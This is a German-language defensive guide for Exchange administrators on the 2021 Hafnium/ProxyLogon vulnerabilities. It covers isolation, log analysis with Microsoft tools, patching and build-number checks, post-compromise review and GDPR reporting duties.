Hafnium Exploit

Am 2. März 2021 hat Microsoft gleich mehrere Exploits in Exchange gemeldet, die angeblich von einer "Hafnium" getauften Gruppe aktiv ausgenutzt werden.

Achtung: April 2021 Updates ersetzen die Hafnium Updates. Siehe Pwn2Own 2021

Hafnium Nachbereitung - Was wir aus Hafnium lernen, nachprüfen und verbessern sollten.

Seit 16.3.2021 gibt es mit dem Exchange 2016 CU20 und Exchange 2019 CU9 eine aktuelle Version inklusive Security Update und anderen Bugfixes.
Updates für Exchange 2019 und Updates für Exchange 2016

Aus aktuellem Anlass bieten wir eine weitere Net at Work Hafnium Sprechstunden in Form eines öffentlichen Teams-Meeting an
Weitere Termine werden auf https://www.netatwork.de/selbst-gehostete-exchange-server-zero-day-angriffe/ veröffentlicht.

Sprechstunde verpasst? Ich habe die Informationen vom Stand 10.3.2021 für euch eingesprochen
https://youtu.be/dmH5-lVCjwk

Der dazu verwendete Foliensatzes
hafnium-prechstunde.20210310.pdf (Verwendet bei der Net at Work Sprechstunde)
hafnium-sprechstunde.20210318.pdf (Verwendet (korrigiert) beim MBUF Meeting https://mbuf.de/)

Ist es wirklich schlimm? - JA!

Wenn ihr Exchange Server per HTTP/HTTPS aus dem Internet erreichbar ist, dann ist es die Kombination von vier CVEs, die ihr Problem sind:

Schon das Lesen bzw. Export beliebiger Mails ist für viele Firmen ein ernstes Problem, da damit Firmengeheimnisse exportieren werden können und Erpressungen folgen. Viel kritischer ist die komplette Übernahme des Servers über eine Webshell, die der Angreifer selbst installieren und die man von extern weitere Aktionen auslösen kann. Der Angreifer hat dabei wohl die Berechtigungen "LocalSystem" und "ExchangeTrustedSubsystem". Auch wenn die Berechtigungen von Exchange und einem Computer noch kein "Domain Admin" sind, so ist das Schadpotential sehr hoch. Die Webshell ist aber ein Sprungbrett in ihr LAN mit privilegierten Rechten, Dump von LSASS oder Einsatz von Mimikatz.

Aus meiner Sicht ist Gefahr in Verzug und sie sollten umgehend ihre Server auf das aktuelle CU bringen und das Updates installieren. Wenn Sie dies nicht können, dann sollten Sie umgehend die Erreichbarkeit aus dem Internet mit einer Pre-Authentication versehen und anonyme Zugriffe unterbinden. Das bricht allerding Anmeldungen per OAUTH, z.B. Exchange Hybrid Free/Busy und ist kein Schutz, dass ein authentifizierter Benutzer dann die Lücken ausnutzt oder es weitere Lücken gibt.

Für das Security Update vom Vormonat gab es kurz danach schon ein Sample.

Für die aktuellen Probleme habe ich den Eindruck, dass verschiedene Gruppen schon einen Code haben, denn ich sehe immer mehr unterschiedliche Payloads, die nichts mit dem ersten Angriffen zu tun haben. Mögliche Opfer gibt es ja wohl genug. Mittlerweile findet wohl ein Wettrennen statt, welche Webseite die höheren Serverzahlen abschätzt.

Angreifbar sind alle Exchange Server, die per HTTP erreichbar und nicht aktuell gepatched sind:

Exchange Version Status

2013-2019

Alle Versionen sind gleichermaßen betroffen und ohne das Update schutzlos.

2010

Exchange 2010 hat nur die Lücke CVE-2021-26857 und diese ist nur mit Authentifizierung nutzbar. Angreifer müssen über andere Wege gültige Anmeldedaten besitzen, damit sie die Lücke nutzen können. Daher gibt es ein Update auch für diese Exchange Version, obwohl das Supportende schon im Oktober 2020 abgelaufen ist.

Exchange Online

Laut Scott Schnoll (Microsoft) war Exchange Online nicht verwundbar.

2003
2007

 Laut Microsoft nicht betroffen.
Quelle: https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/

Mittlerweile haben auch die üblichen staatlichen Stellen entsprechende Warnungen veröffentlicht:

Microsoft Exchange Schwachstellen CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065 Detektion und Reaktion
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf?__blob=publicationFile&v=3

BSI: Mehrere Schwachstellen in MS Exchange
https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-197772-1132.pdf?__blob=publicationFile&v=4

Update: MS Exchange Schwachstellen - Infos und Hilfestellungen | BSI
https://www.youtube.com/watch?v=QcqRRc-VoB0

Was muss ich tun?

In den ersten Tagen der Seite habe ich zuerst das "Update" beschrieben. Diese Reihenfolge habe ich nun geändert. wir sind viele Tage weiter und die Anzahl der infizierten Exchange Server dürfte noch weiter steigen, da es immer noch viele Administratoren aber auch Dienstleister leider das Problem nicht aktiv angehen. Ich gehe heute davon aus, dass ein Server kompromittiert ist und wenn der Angreifer die richtige Werkzeuge eingesetzt hat, dann ist nicht nur dieser eine Server betroffen sondern auch andere Systeme oder ihr Active Directory nicht mehr als "vertrauenswürdig" anzusehen. Mein Vorschlag.

  1. Lockdown
    Verhindern Sie, dass der Exchange Server aus dem Internet erreichbar ist oder Verbindungen ins Internet aufbauen kann. Sichern Sie aber auch Protokolle, ehe sie gelöscht oder überschrieben werden. Isolieren Sie den Server auch gegen interne Systeme. Malware versucht auch ihre anderen Server zu kompromittieren. Im einfachsten Fall haben sie den lokalen Administrator und trennen Exchange vom Netzwerk. Notfalls sollten Sie auch andere Server vom Netzwerk nehmen, bis Sie ihren Exchange Server gesichert und bewertet haben.
  2. Analyse
    Prüfen Sie ihre vorhandenen Logs, ob ein Einbruch stattgefunden hat. Die Nutzung der Lücke ist über Einträge im IISLog erkennbar, wenn die Angreifer die Logs nichts verändern. Auch die installierten Programme und Hintertüren werden oft, aber nicht immer, von aktuellen Virenscannern gefunden. Abhängig vom Ergebniss müssen Sie eine vielleicht unbequeme Entscheidung treffen.
  3. Bereinigung, Patchen ggfls. Neuaufbau
    Entfernen Sie die installierten Hintertüren und verhindern Sie eine Neuinfektion durch Installation der Updates. Es kann sein, dass das Update sich nicht installieren lässt. Diverse Angreifer verändern z.B. NTFS-Berechtigungen, um die Installation der Updates zu blockieren, damit ein weniger versierter Admin es nicht bemerkt oder entnervt aufgibt.
  4. Weitere Analyse
    Speziell wenn sie die bestehende Umgebung weiter benutzen, müssen sie wachsam sein und möglichst viel in Erfahrung bringen.

Die Abschnitte im Detail:

Server Lockdown

Das Einfalltor sind die Exchange Webdienste und als allererste Schutzmaßnahme hat Microsoft URL-Rewrite-Regeln beschrieben, mit denen die Zugriff geblockt werden können.

Implement an IIS Re-Write Rule and disable Unified Messaging (UM), Exchange Control Panel (ECP) VDir, and Offline Address Book (OAB) VDir Services
https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/

Ich würde diesen "Fix" nur dann anwenden, wenn sie wirklich den Security Batch nicht installieren können. Microsoft führt "ActiveSync" nicht auf, aber in einer BSI-Mitteilung vom 6.3 sind auch ActiveSync "und andere Dienste" mit aufgeführt.

Verhindern sie zuerst, dass der Exchange Server aus dem Internet per HTTP erreichbar ist.
Blockieren sie auch ausgehende Verbindungen vom Exchange Server, solange sie den Status ihres Servers nicht kennen
Sichern Sie Protokolle (Eventlog, IISLog, CASLog, Firewall, etc. gegen löschen/überschreiben bis die Analyse abgeschlossen ist. Die Analyse kann je nach Anzahl der Server und Größe der Logdateien durchaus länger dauern.

Aktion Check

Blockieren Sie eingehenden HTTP-Verkehr

Sie können auf der externen Firewall den Zugriff auf Port 443 ihres Exchange Servers unterbinden. Wenn Sie einen Reverse Proxy oder Loadbalancer einsetzen, können Sie dies auch dort machen

Blockieren sie ausgehenden Verkehr

Die Angreifer nutzen remote Shells, um eine Verbindung nach außen aufzubauen und über einen Shell interaktiv Befehle auszuführen oder Malware nachzuladen. Ihr Exchange Server sollte auch nicht mehr "Surfen" (HTTP-Proxy) dürfen, auch wenn das die weitere Fehlersuche erschwert. So verhindern sie auch "Betrachter" und verhindern, dass jemand ihre Eingaben auf dem Server mitschneidet oder Prozess per DUMP ausleitet.

Isolieren Sie ihren Exchange Server

Wenn Sie den Verdacht haben, dass der Server kompromittiert wurde, dann sollten Sie die Exchange Dienste beenden und den Server isolieren. Notfalls tut es auch eine DENY-Regel auf der Windows Firewall

Auf Einbruch prüfen!

Die Lücke ist ja schon länger vorhanden und wurde im Dezember von DEVCORE (https://proxylogon.com/) zuerst gemeldet und am 6. Jan von der Firma Volexity bei einem Kunden im Rahmen der Überwachung (Intrusion Detection) von Netzwerkverkehr entdeckt. Wie lange die Angreifer aber die Lücke schon kennen, ist nicht bekannt. Die Angreifer werden bis zur Entdeckung vermutlich nur interessante und lohnenswerte Ziele angegriffen haben. Erst im Februar hat wohl die Anzahl der Infektionen zugenommen und mit der Veröffentlichung der Lücke und entsprechender Updates am 2. März 2021 wird es aber immer weniger verwundbare Installationen geben. Also dürften die Angreifer ihre Werkzeuge gegen die Masse einsetzen.

Aktion Check

MSERT.EXE

Diese Werkzeug nutzt die aktuellsten Defender-Pattern-Dateien um bekannte Malware zu entfernen. Es ist kein 100% Schutz, da mittlerweile andere Angreifer angepasste Schadsoftare einsetzen. Da ihr Exchange Server hoffentlich nicht surfen kann, müssen Sie die Datei auf einem anderen Client herunterladen und auf den Server übertragen. Nutzen sie immer die aktuellste Version.

Microsoft Safety Scanner (MSERT.EXE)
https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download

Achtung:
MSERT findet nur, was er erkennt. Ein negativer Befund kann daher nicht als Freibrief verstanden werden. Zumal die Schad-Komponenten vielfältiger geworden sind.

Test-ProxyLogon.ps1

Diese Skript enthält früher als Einzelskripte verteilte Tools zur Analyse ihres Server. Es durchsucht ihre IISLogs, Eventlogs und Verzeichnisse nach Spuren der Hafnium-Gruppe. Auch hier sollten sie immer die aktuellste Version nutzen.

Test-ProxyLogon.ps1 (Formerly known as Test-Hafnium, this script automates all four of the commands)
https://GitHub.com/microsoft/CSS-Exchange/tree/main/Security
https://GitHub.com/microsoft/CSS-Exchange/releases/latest/download/Test-ProxyLogon.ps1

Es findet recht zuverlässig die ersten Angriffe über "CVE-2021-26855", die recht zuverlässig einen Einbruch kennzeichnen.

How to run the GitHub script for the Hafnium vulnerability
https://www.youtube.com/watch?v=wwJlfhRCwAc

Es findet aber auch False-Positive, z.B. ZIP-Dateien von Symantec, McAfee, u.a. in ProgramData. Hier müssen sie genauer hinschauen.

Achtung: Diese Skripte prüfen ihre HTTP-Logs. Wenn Sie diese Dateien automatisiert löschen, dann kann das Skript nicht finden. Sie sollten im ersten Lauf die Logs vom 2. März an durchsuchen. Aber eine Suche seit Nov 2020 ist ratsam.

EOMT - Exchange On-Premises Mitigation Tool

Auch dies ist primär ein PowerShell-Script, welches über URL-Rewrite den ausgenutzten Angriffsvektor unterbindet aber kein Ersatz für das Update ist. Zudem führt er verschiedene Tests und Scans durch und dreht Veränderungen von Angriffen zurück.

Das Tool kann nur die Malware erkennen, die Microsoft hinterlegt hat. In der ersten Woche der Angriffe war das sehr hilfreich aber mittlerweile ist die Payload sehr variabel und aus meine Sicht ist EOMT nur ein erster Baustein einer Analyse.

Download
https://aka.ms/eomt

 

3rd Party Virenscanner

Sie verhindern in der Regel nicht ein Einbruch aber können viele vom Angreifer abgelegte "unerwünschte Programme" erkennen. Prüfen Sie das Log dieser Scanner auf allen Servern und kontrollieren sie die Ausschlusslisten, damit auch "fast" alles gescannt wird.

Auch das Ansehen der Virenscanner hat stark gelitten, da die oft versprochene "Verhaltenserkennung" nach nicht Schreibzugriffe in Webserver-Verzeichnisse erkennt und eine WebShell von 2012 von keinem Patternfile verhindert wurde. Was passiert eigentlich, wenn bei einem Autounfall der Airbag nicht auslöst hinsichtlich Produkthaftung?

Mit dem Ergebnis dürfen Sie dann ihre Entscheidung fällen. Wenn ihr Server glücklicherweise noch nicht infiziert wurde, dann sollten Sie umgehend patchen und sich freuen mit einem blauen Auge davon gekommen zu sein.

Wenn es aber "Treffer" gibt, dann hat sich höchstwahrscheinlich eine unbekannte Institution oder Person auf ihrem Server bewegt, Dateien hochgeladen und per Webshell Befehle abgesetzt. Das wird vermutlich kein neugieriger Besucher gewesen sein, der alleine wieder gegangen ist. Vielleicht ist es sogar noch aktiv, wenn Sie den Zugang nicht gut genug geblockt haben.

Angeblich scannt das BSI nach solchen Servern und spricht die Provider zu den IP-Adressen an, damit diese den Kunden ansprechen. Also wenn ich den Domainnamen eines Exchange Servers kenne, dann sollte die Ermittlung des "Kunden" samt Kommunikation doch schnell möglich sein. Vermutlich wäre es strafbar, wenn man aus der Ferne den Server "zur Sicherheit" per Webshell herunterfährt.

Security Scripts
https://GitHub.com/microsoft/CSS-Exchange/tree/main/Security
Weitere Skripte

Microsoft hat entsprechende Erkennungen auch in das Produkt "Microsoft Defender for Endpoint" eingebaut. Wenn Sie ihren Exchange Server mit diesem AV-Scanner ausgestattet haben, dann sollte er auch Infektionen erkennen und verhindern, zumindest solange die Angreifer ihre Methoden nicht ändern. Dies ist also nicht unbedingt sicher. Auch andere 3rd Party AV-Scanner werden sicher bald solche Dateien finden.

Es wirft natürlich ein schlechtes Licht auf diese "Schutz"-Produkte, wenn kein einziger Hersteller im Jahr 2021 eine Malware in Form einer Webshell erkennt, die schon 2012 bei Angriffen verwendet wurde.

Patchen

Gehen wir nun davon aus, dass die entweder noch nicht betroffen sind oder ihre Analyse und Risikoabschätzung den Weiterbetrieb ihres Netzwerk und Active Directory als ein "tolerierbares Restrisiko" bedeutet, dann geht es nun die Installation der Updates.

Egal ob sie schon betroffen sind oder nicht: Niemand sollte beim Update dazwischenfunken. Daher: Zugriff unterbinden, IIS beenden.

Wann immer möglich, sollten sie die Betriebsunterbrechung direkt zum Update des Servers nutzen. Es gibt nur wenige Ausnahmen, wo dies nicht möglich ist, z.B. wenn ihr Forest Functional Level nicht angehoben werden könnte. Sie sollten das Security Update auch per "Windows Update" das Security Update "KB5000978" angezeigt bekommen. Eventuell muss ihr WSUS-Administrator das Update erst freigeben. Wenn der Server nicht auf das Internet zugreifen kann, können Sie die Updates auch eigenständig herunterladen.

Aktion Check

Versionsbestimmung

Prüfen Sie die aktuelle Version ihres Exchange Servers. Entscheiden Sie, ob sie das aktuelle CU mit dem Sicherheitspatch absichern oder ob sie das CU erst aktualisieren. Sie müssen mittlerweile nicht mehr das aktuellste CU vorher installieren, da für einige ältere CUs ebenfalls entsprechende Updates bereitstehen. Wenn Sie aber später dann doch ein schon veröffentlichtes neueres CU installieren, dann müssen Sie das dazu passende Security Updates noch nachinstallieren.

Ein CU-Update dauert aber länger und kann weitere Abhängigkeiten (.NET Framework, AD-ForestMode etc.) haben, die den Prozess verzögern.

Download des passenden Updates

Die Links finden sie in dem folgenden Artikel.

KB-Artikel mit direkten Links zu allen Updates
https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-march-2-2021-kb5000871-9800a6bb-0a21-4ee7-b9da-fa85b3e1d23b

Reboot vor Update

Microsoft empfiehlt dringend einen Neustart vor der Installation. Es kann durchaus sein, dass Dateien auch nach dem Beenden von Exchange Diensten weiterhin geblockt sind und das Update daher fehlschlägt.

Installation des Security Update

Das Security Update patched nur die Lücken aber sonst keine anderen Komponenten. Es ist daher relativ schnell fertig. Die Dauer der Installation hängt von der Performance ihres Servers ab. Der Server ist in der Zeit nicht für die Anwender erreichbar, da die Dienste am Anfang beendet und erst am Ende wieder gestartet werden. Wer einen Cluster (DAG) hat, kann die Knoten nacheinander geordnet offline nehmen.

Wenn der Exchange Server erst auf den aktuellen CU/RU-Stand gebracht werden muss, dann sollten Sie die Abhängigkeiten zum NET-Framework beachten. Sie können aber durchaus direkt auf die aktuellste Version gehen, wenn Sie ein paar Vorbedingungen beachten.

Hinweis mit UAC:
Starten Sie das Update immer aus einer administrativen CMD-Shell, damit das Update die Dienste beenden kann. Ansonsten schlägt die Installation fehl!

Achtung:
Es gibt erst Gerüchte, dass Angreifer die Vererbung auf dem OWA\AUTH-Verzeichnis abschalten, damit das CU-Update mit dem Fehler 1603 abbricht.
https://docs.microsoft.com/en-us/answers/questions/304724/exchange-2019-cu8-upgrade-failed-insufficient-priv.html
https://docs.microsoft.com/en-us/answers/questions/307762/cu-update-install-failing-with-error-1603.html#answer-313033
Prüfen Sie dann das Verzeichnis "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\15.0.1497". Normalerweise ist hier "Administratoren:Full, SYSTEM:Full" und die Vererbung ist aktiv.

Neustart des Servers

Das Security Update fordert nicht immer ein Neustart aktiv an. Er ist aber erforderlich.

Danach sollte ihr Server "geschützt" sein. Wenn Sie zudem die Verbindung nach extern unterbunden haben, sollte der Angreifer auch keinen Zugriffe mehr haben.

Kontrolle der Installation

Ob der Patch installiert ist oder nicht, können Sie leider nicht einfach per PowerShell ermitteln. Bei mir liefert folgende Zeile immer noch 2176.2 statt 2176.9.

Mit dem Security Update Juli 2021 hat Microsoft endlich einen offiziellen Weg zur Ermittlung der aktuell installierten Version veröffentlicht. Siehe Verifikation auf Patchday Jul 2021

Beachte dazu auch Exchange Build Nummer ermitteln

# Diese Abfrage liefert nicht ausführliche Informationen
[PS] C:\>Get-ExchangeServer | Format-List Name,Edition,AdminDisplayVersion

Name                : EX16
Edition             : Standard
AdminDisplayVersion : Version 15.1 (Build 2176.2)

Die gleiche Antwort bekomme ich bei einer "Probe" per Invoke-Webrequest (PowerShell 7.1 erforderlich für die "-Skip"-Parameter):

$owalogin=(Invoke-WebRequest https://owa.netatwork.de/owa/auth/logon.aspx -SkipHttpErrorCheck -SkipCertificateCheck)
$owalogin.Content.Substring($owalogin.Content.IndexOf('<link rel="shortcut icon" href="/owa/auth/')+42,16).split("/")[0]
15.1.2176

Auch eine Kontrolle des SMTP-Headers eine Mail liefert keine Informationen.

Received: from hybrid.msxfaq.de (192.168.80.3) by hybrid.msxfaq.de (192.168.80.3) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) id 15.1.2176.2; Sun, 07 Mar 2021 22:29:42 +0100
Received: from EUR05-DB8-obe.outbound.protection.outlook.com (104.47.17.110)  by hybrid.msxfaq.de (192.168.80.3) 
  with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) id 15.1.2176.2 via
 Frontend Transport; Sun, 07 Mar 2021 22:29:42 +0100

Der Transport wurde durch da Updates nicht aktualisiert, so dass ihr Server nun unterschiedliche Buildnummern hat. Ich sehe nur die Hauptversion, die nur Rückschlüsse auf das installierte CU zulässt.

Dennoch ein einfacher Test, um "zu alte" CUs zu erkennen und wird sicher auch von extern überprüft.

Erst ein Blick in die OWA-Struktur oder unter "Systemsteuerung -Programme - Updates" zeigt die neuere Installation:

Die Version 15.1.2176.4 steht CU19, 15.1.2176.4 ist das Security Update KB4602269 vom Feb 2021 und erst 15.1.2176.9 ist das wichtige Update. Sie sehen, dass ich das Update am 3.3 umgehend installiert habe. Folgende Build-Nummern beschreiben die Version mit installiertem Patch:

Die am 16.3 veröffentlichen Komplettinstallationen Exchange 2019 CU9 und Exchange 2016 CU20 enthalten das Security Update. Alle früheren Versionen müssen aktualisiert werden.

Exchange 2019 2016 2013 2010 SP3
Aktuell

CU9: 15.2.858.5

CU20: 15.1.2242.4

 

 
N-0

CU8: 15.2.792.10

CU19: 15.1.2176.9

CU23: 15.0.1497.12

RU32: 14.3.513.0
N-1

CU7: 15.2.721.13

CU18: 15.1.2106.13

CU22: 15.0.1473.6

 
N-2

CU6: 15.2.659.12

CU17: 15.1.2044.13

CU21: 15.0.1395.12

 
N-3

CU5: 15.2.595.8

CU16: 15.1.1979.8

 

 
N-3

CU4: 15.2.529.13

CU15: 15.1.1913.12

 

 
N-4

CU3: 15.2.464.15

CU14: 15.1.1847.12

 

 
N-5

CU2: 15.2.397.11

CU13: 15.1.1779.8

 

 
N-6

CU1: 15.2.330.11

CU12: 15.1.1713.10

 

 
N-6

RTM: 15.2.221.18

CU11: 15.1.1591.18

 

 

N-7

 

CU10: 15.1.1531.12

 

 

N-8

 

CU09: 15.1.1466.16

 

 

N-9

 

CU08: 15.1.1415.10

 

 

Microsoft würde keine Updates für diese ganz alten CU-Versionen veröffentlichen, wenn es nicht Kunden mit dieser Basis gäbe. Das ist au meiner Sicht sehr erschreckend, dass über Jahre keine Updates und Bugfixes eingespielt werden.

Kontrollieren sie lieber doppelt, dass das Update installiert ist. Ich hatte schon Kundenserver, bei denen CU19 drauf war und am 3. März wurde dennoch "nur" das Security Update Feb 2021 (KB4602269) installiert.


Irreführende Ausgabe. Aktuellste Version am 3.3. war nicht das richtige Updates. Also genau hinschauen

Leider kann ich mittel "Get-Hotfix" nur Windows Betriebssystemupdates abfragen und keine Exchange Updates. Alternativ kann ein Blick in die Datei "C:\ExchangeSetupLogs\UpdateCas.log" den letzten Stand zeigen:

[02:43:17] ***********************************************
[02:43:18] * UpdateCas.ps1: 03.03.2021 02:43:18
[02:43:24] Updating OWA/ECP on server EX16
[02:43:24] Finding ClientAccess role install path on the filesystem
[02:43:25] FixUnversionedFolderAfterUpgrade: Found source versions: 15.1.2176.2 15.1.2176.4
[02:43:25] FixUnversionedFolderAfterUpgrade: Recovering files from 
                   'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\prem\15.1.2176.2' 
                to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\Current2\version' where necessary
[02:43:57] FixUnversionedFolderAfterUpgrade success
[02:43:57] Updating owin:AutomaticAppStartup binding redirect to true
[02:43:57] Updating owa handlers
[02:43:57] Web.config file already had a node for: userbootsettings.ashx
[02:43:57] Web.config file already had a node for: MeetingPollHandler.ashx
[02:43:58] Updating Microsoft.Owin binding redirect
[02:43:58] Updating Microsoft.Owin.Security binding redirect
[02:43:58] Trying to add clients common module to Web.config file
[02:43:58] Updating OWA to version 15.1.2176.9
[02:43:58] Copying files from 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\Current' 
              to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\15.1.2176.9'
[02:43:58] Update OWA done.
[02:43:58] Updating OWA to version 15.1.2176.9
[02:43:58] Copying files from 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\Current2\version' 
              to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\owa\prem\15.1.2176.9'
[22:45:27] Update OWA done.
[22:45:28] Updating ECP to version 15.1.2176.9
[22:45:28] Copying files from 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\Current' 
              to 'C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\15.1.2176.9'
[22:45:30] Update ECP done.

Leider "entfernt" Microsoft bei der Installation eines Updates die vorherigen Versionen von OWA nicht, da es ja immer noch "Backend-Server" mit älteren Versionen geben kann. Das ist aber kein Problem, wenn alle Server aktuell sind.

Achtung:
Auch nach der Installation der Updates sind ihre Server zwar geschützt aber Schadcode könnte noch aktiv sein. Ein erneuter Scan mit MSERT u.a. ist wichtig und sie sollten dies auch wiederholen. Damit kommen wir aber in Richtung "sicherer Betrieb"

Wenn Sie eh grade am Server arbeiten, dann können Sie auch noch einmal den HealthChecker durchlaufen lassen:

  • Exchange HealthChecker
    Powershell Script vergleich Exchange On-Premises Grundeinstellungen mit Microsoft Empfehlungen

Was tun bei erkanntem Einbruch?

Stellen Sie sich vor, sie haben eine PowerShell auf einem Server mit "LocalSystem" und "ExchangeTrustedSubsystem" in einem fremden Netzwerk und sie haben kriminelle Energie. Was könnten sie alles anstellen? Ziemlich viel und auf ziemlich vielen Servern.

Es reicht nicht, den Server zu patchen und erkannte Webshells entfernen zu lassen. Sie wissen ja nicht genau, was der Angreifer sonst noch gemacht hat.

  • Welche Befehle wurden per Webshell ausgeführt?
    Diese können Sie vielleicht im IISLog als Parameter finden. Exchange Commandlets werden im Exchange Management Eventlog protokolliert.
  • RemoteShell
    Wenn der Angreifer aber zusätzlich eine RemoteShell starten konnte, die auch noch eine ausgehende Verbindung aufbauen konnte, dann wird es schwer. Vielleicht finden Sie auf der Firewall Hinweise auf ungewöhnliche ausgehende TCP-Verbindungen des Exchange Servers. Die Shell kann aber auch HTTPS oder UDP nutzen.
  • Zugriff auf andere Server
    PowerShell und auf Servern eh vorliegende Tools (WMIC.EXE etc.) sind nicht auf lokale Server beschränkt. Jedes andere System in ihrem LAN ist potentiell betroffen. Wie gut war noch mal das Kennwort auf ihrer Firewall, auf ihrem NAS?
  • Exchange Server
    Sie müssen gar nicht weit gehen. Wenn der Angreifer ihre Exchange Konfiguration verändert hat, um auch nach dem Security Updates weiter Zugriff zu haben, dann hilft nur Suchen. Er könnte einen Dump von LSASS ausgeleitet habe und damit an weitere Credentials kommen. Selbst ein Keylogger als Treiber oder ein Proxy-Server der ein eigenes Root-Zertifikat installiert um SSL aufzubrechen ist denkbar oder ein "geplanter Task", der irgendwann in der Zukunft zuschlägt.
  • Active Directory
    Welche Objekte wurden denn in letzer Zeit angelegt, welche Gruppenmitgliedschaften verändert oder Berechtigungen erweitert, die sie nicht erklären können?
  • Logging
    Auf jeden Fall sollten sie die Protokollierung ihrer Systeme anheben und nicht nur in nächster Zeit genauer hinhören. Aber das sollten Sie schon länger machen.

Ohne Sichtung der hoffentlich vorhandenen Protokolle sind keine Aussagen möglich und selbst dann bleit immer ein Restrisiko.

Eigentlich hat das Gesamtsystem als kompromittiert zu gelten. Es kann keine allgemein gültige Empfehlung geben, den Sie wissen ja nicht, wie tief der Angriff war und welche "Hinterlassenschaften" in ihrem System zu finden sind.

Das ist um so wahrscheinlicher, je später sie ihr System gepatcht. haben. Ich möchte keine Panik schüren aber solche Angriffe erfolgen automatisiert und sind per Skript gesteuert. Es ist daher wahrscheinlich, dass alle betroffenen Systeme ähnliche Aktionen durchlaufen haben, wie diese in folgendem Video vorgestellt werden.

Analysis - Post-Exploitation from Microsoft Exchange HAFNIUM
https://www.youtube.com/watch?v=rn-6t7OygGk
Analyse eines Exchange Servers und was die Angreifer per WebShell angestellt haben könnten.

Es bleibt also ein Restrisiko, ob sie die bestehende Installation einfach reparieren und weiter betreiben oder ob sie tatsächlich einen kompletten Neuaufbau ihres Forest in Angriff nehmen (Greenfield). Für den zweiten Schritt brauchen Sie aber viele Hände und eine sehr gute Argumentation gegenüber dem Firmeninhaber bezüglich der Kosten. Ein Weiterbetrieb der vielleicht geheilten Umgebung ist aber mit Mehrkosten verbunden. Zuerst würde ich alle Kennwort ändern und ein KRBTGT Key Rollover durchführen. Zudem sollten sie die Sicherheit deutlich hochschrauben, Virenscanner auf jedem Server ohne Ausnahme und Firewalls, Prozesse, Netzwerkverkehre etc. überwachen, um mögliche inneren Schädlinge zu erkennen.

Niemand kann ihnen einen Freibrief ausstellen, dass ihr Gesamtsystem nach einer "Bereinigung" mit MSERT sicher weiter betrieben werden darf. Aber das konnte vorher auch niemand. Sicherheit ist kein Zustand sondern ein Prozess.

Für einige Firmen wird so eine Infektion auch ein Weckruf sein, Berechtigungen feiner zu vergeben, die Rolle des Domain-Administratoren auf notwendige Aktionen zu reduzieren, Firewalls "strenger" einzustellen, Security-Patches schneller zu installieren und generell das Thema Protokollierung auszuweiten. Wobei dies wieder Diskussionen mit Betriebsräten und Datenschützern bedeutet. Denn jedes Log kann auch zweckentfremdet werden.

Beachten Sie dazu auch die Seite Hafnium Nachbereitung

DSGVO Vorfall / Strafanzeige / Cyber-Versicherung

Es gibt aber noch ein weiterer Aspekt: Nehmen Sie mal an, dass ihre Firma ein Ziel war, dann könnten auch Mails, Kontakte und Termine von Anwendern ausgeleitet worden und nun im Besitz des Angreifer sein. 

Risiko\Pflichten Beispiel Internet Dokumentationspflicht
Art 33 Abs 5 DS-DVO		 Meldepflicht an Aufsichtsbehörde
Art 33 Abs 1 DS-DVO		 Benachrichtigungspflicht an Personen
Art 34 Abs 1 DS-DVO

Kein oder geringes Risiko

OAB-Zugriff

Ja!

Nein

Nein

Risiko

Export von Postfächern, Ausleitung großer Datenmengen

Ja!

Ja!

Nein

Hohes Risiko

Daten enthalten auch Kundendaten, Kennwort

Ja!

Ja!

Ja!

IT-Dienstleister und Auftragsdatenverarbeiter müssen gegenüber ihren Kunden ggfls. weitere Informationspflichten erfüllen. Vom "Bayerisches Landesamt für Datenschutzaufsicht " gibt es zumindest schon mal eine Handreichung vom 9 März 2021

Für Unternehmen, die bis jetzt (9. März 2021, Frank Carius) untätig geblieben sind, gehen wir von einer meldepflichtigen Datenschutzverletzung aus.

Verantwortliche, die dieser Aufgabe bislang nicht nachgekommen sind, trifft .....unabhängig von weiteren Befunden die Verpflichtung, die Sicherheitslücke als Schutzverletzung binnen 72 Stunden zu melden.

Das BayLDA hat dafür in einem ersten Prüflauf am 08.03.2021 stichprobenartig 16.502 bayerische Systeme auf ihre mögliche Verwundbarkeit untersucht
... im ersten Prüflauf wurde eine dreistellige Zahl potentiell verwundbarer Server identifiziert...
...Das BayLDA beabsichtigt nach der ersten Information der Unternehmen weitere Prüfläufe ...

Quelle: Bayerisches Landesamt für Datenschutzaufsicht : Sicherheitslücken bei Microsoft Exchange-Mail-Servern: Akuter Handlungsbedarf für bayerische Unternehmen - BayLDA empfiehlt: Patchen, prüfen, melden! -
https://www.lda.bayern.de/media/pm/pm2021_01.pdf

Sie können natürlich Glück haben, dass sie nicht betroffen sind oder die Einbrecher noch nichts mitgenommen haben. Wenn Sie es aber nicht sicher wissen und die Täter bitten in einen Wochen um ein paar Bitcoins, dann ist die Meldefrist von 72 Stunden schon lange vorbei.

Als Administrator sollten Sie umgehend auch die Juristen und Geschäftsführung einbinden. Viele Firmen haben heute auch eine "Cyber-Versicherung", die aber oft nur greift, wenn Sie auch Strafanzeige bei der Polizei erstatten. Hier müssen sie die Versicherung mit einbinden.

